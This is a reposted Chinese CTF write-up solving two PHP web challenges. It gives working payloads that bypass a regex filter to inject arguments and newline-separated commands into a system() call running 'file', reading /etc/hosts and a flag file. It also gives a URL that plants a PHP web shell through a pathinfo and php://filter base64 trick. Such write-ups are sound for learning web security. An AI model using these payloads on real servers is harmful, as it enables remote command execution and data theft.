内容简介:当时比赛的时候正在复习期末,根本没空玩。昨天忙完,终于有时间仔细看看了。直接给出源码,要命令执行
前言
当时比赛的时候正在复习期末,根本没空玩。昨天忙完,终于有时间仔细看看了。
TwoFile
直接给出源码,要命令执行
<?php
highlight_file(__FILE__);
$file1 = $_GET['f1'];
$file2 = $_GET['f2'];
// WAF
if(preg_match("/'|"|;|,|`|*|\|n|t|r|xA0|{|}|(|)|<|&[^d]|@|||ls|cat|sh|flag|find|grep|echo|w/is", $file1))
$file1 = "";
if(preg_match("/'|"|;|,|`|*|\|n|t|r|xA0|{|}|(|)|<|&[^d]|@|||ls|cat|sh|flag|find|grep|echo|w/is", $file2))
$file2 = "";
// Prevent injection
$file1 = '"' . $file1 . '"';
$file2 = '"' . $file2 . '"';
$cmd = "file $file1 $file2";
system($cmd);
首先来看看最后的执行
$cmd = "file $file1 $file2"; system($cmd);
system 函数执行file命令,而后面有两段是可控的。
来看看file命令的使用: http://man.linuxde.net/file
语法:file(选项)(参数)
选项:
-b:列出辨识结果时,不显示文件名称;
-c:详细显示指令执行过程,便于排错或分析程序执行的情形;
-f<名称文件>:指定名称文件,其内容有一个或多个文件名称时,让file依序辨识这些文件,格式为每列一个文件名称;
-L:直接显示符号连接所指向的文件类别;
-m<魔法数字文件>:指定魔法数字文件;
-v:显示版本信息;
-z:尝试去解读压缩文件的内容。-z:尝试去解读压缩文件的内容。
首先不考虑任意命令执行的可能,只用file命令去读文件。那么如何去绕过WAF和Prevent injection呢。观察WAF之后发现了一个漏洞点:waf是用 \ 来过滤反斜线的。而查资料之后可以发现
正确的正则匹配反斜线应该是 \\ ,而 就可以在最后执行的语句中出现了,而反斜杠的使用就可以轻松绕过Prevent injection。就能结合file命令的选项去读文件了。
下面给出几个payload:
其实file命令本身的 -f 参数就能直接读文件了
$file1 :
-f
$file2 :
/etc/hosts
最后传进去的命令
file "-f" "/etc/hosts"
-f 参数将文件的内容当作文件名去读取,若文件不存在的话就可以在报错中看到内容。因为waf了 w 所以读取 /etc/hosts ,这里并没有使用到通配符绕过,因为file1处并没有使用反斜杠,所以后面的内容是被双引号括起来的,通配符不被识别。
或是 -m 参数
$file1 : -m
$file2 : /etc/hosts
最后传入 file "-m" " /etc/hosts" ,然而不知道为什么我在终端跑可以,在 php 这里执行就没回显,如果有师傅知道请指点一波。我感觉是双引号的锅,$cmd是被双引号括起来的,应该发生了一些东西。
然后是通过 f1 传入反斜杠来读取文件。
在转义掉双引号之后,可以使用通配符来绕过关键词。比如我在根目录创建了flag文件。
$file1 :
$file2 : -m /fl?g 2>&1 # (注意空格和url编码之后传参)
2>&1 :接着,标准错误输出重定向(等同于)标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。
这里如果不加2>&1的话是执行不了的。原因应该和上面那个一样
-f的话就不需要了
$file1 :
$file2 : -f /f?ag #
或者
或是考虑执行其他命令的情况,这个我在比赛的时候就想到了,读文件有好多别的方法: https://blog.csdn.net/yuyongpeng/article/details/1818713
我这里用tac。那么要怎么分隔两个命令呢?我这里用的是%0a,可以轻松绕过正则中的 n ,相信这一点大家在 sql 注入中遇到的太多了。
/?f1=&f2=%20%0atac /f?ag%0a
HackerTyper
由于环境没有了,所以我这里把关键代码拿出来看的。
<?php
$sandbox = "/var/www/html/sandbox/" . md5($_SERVER['REMOTE_ADDR'] . "QQ");
@mkdir($sandbox);
@chdir($sandbox);
$path = 'code.txt';
if ( isset($_GET['_']) && isset($_GET['f']) ) {
$_ = $_GET['_'];
$f = $_GET['f'];
if(preg_match("/h/is", pathinfo($f, PATHINFO_EXTENSION)))
die("No h4cker will use h :p");
$c = "Q____Q" . base64_encode($_);
$path = 'sandbox/' . md5($_SERVER['REMOTE_ADDR'] . "QQ") . '/' . $f;
echo $path;
@file_put_contents($f, $c);
}
?>
题目思路很清晰,绕过waf写shell。
waf是文件后缀不能带有 h ,而且 shell 的内容会被 base64_encode 然后最前面拼接上 Q____Q
一步一步来分析。首先是后缀的bypass
关键代码:
if(preg_match("/h/is", pathinfo($f, PATHINFO_EXTENSION)))
die("No h4cker will use h :p");
可以利用 pathinfo($f, PATHINFO_EXTENSION) 的漏洞来绕过waf。首先来做个实验。
pathinfo($f, PATHINFO_EXTENSION)获取的是 . 后面的内容,绕过出现两个 . ,最后结果是后面一个 . 后面的内容
所以只要使用 ylg.php/. 就能简单绕过。
因为会给内容自动 base64_encode ,所以只要输入来做 base64 decode 就可以将shell写入了。
这里可以使用 php://filter 来控制 base64_decode 的输入。可以参考p牛的文章: https://www.leavesongs.com/PENETRATION/php-filter-magic.html 很经典的绕过姿势。想起来去年NCTF2017的时候还见过。
base64_encode('<?php system($_GET[1])?>aa') 的结果 PD9waHAgc3lzdGVtKCRfR0VUWzFdKT8+YWE=
-
echo urlencode(base64_decode("aaPD9waHAgc3lzdGVtKCRfR0VUWzFdKT8+YWE="));
为什么要在前面加aa呢,因为base64算法解码时是4个byte一组,所以给他增加2个a,和前面的Q_____Q一共8个字符。
最后Payload:
/?f=php://filter/convert.base64-decode/resource=ylg.php/.&_=i%A3%C3%F7%06%87%02%077%977FV%D2%82E%F4tUE%B3%15%D2%93%F3%E6%16
成功写shell~
后记
这次比赛确实挺有意思的,可惜了当时在期末考试没时间做。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
PHP and MySQL Web Development (3rd Edition) (Developer's Library
Luke Welling、Laura Thomson / Sams / 2004-09-29 / USD 49.99
We've taken the best and made it even better. The third edition of the best-selling PHP and MySQL Web Development has been updated to include material and code on MySQL 5, PHP 5 and on PHPs object mod......一起来看看 《PHP and MySQL Web Development (3rd Edition) (Developer's Library》 这本书的介绍吧!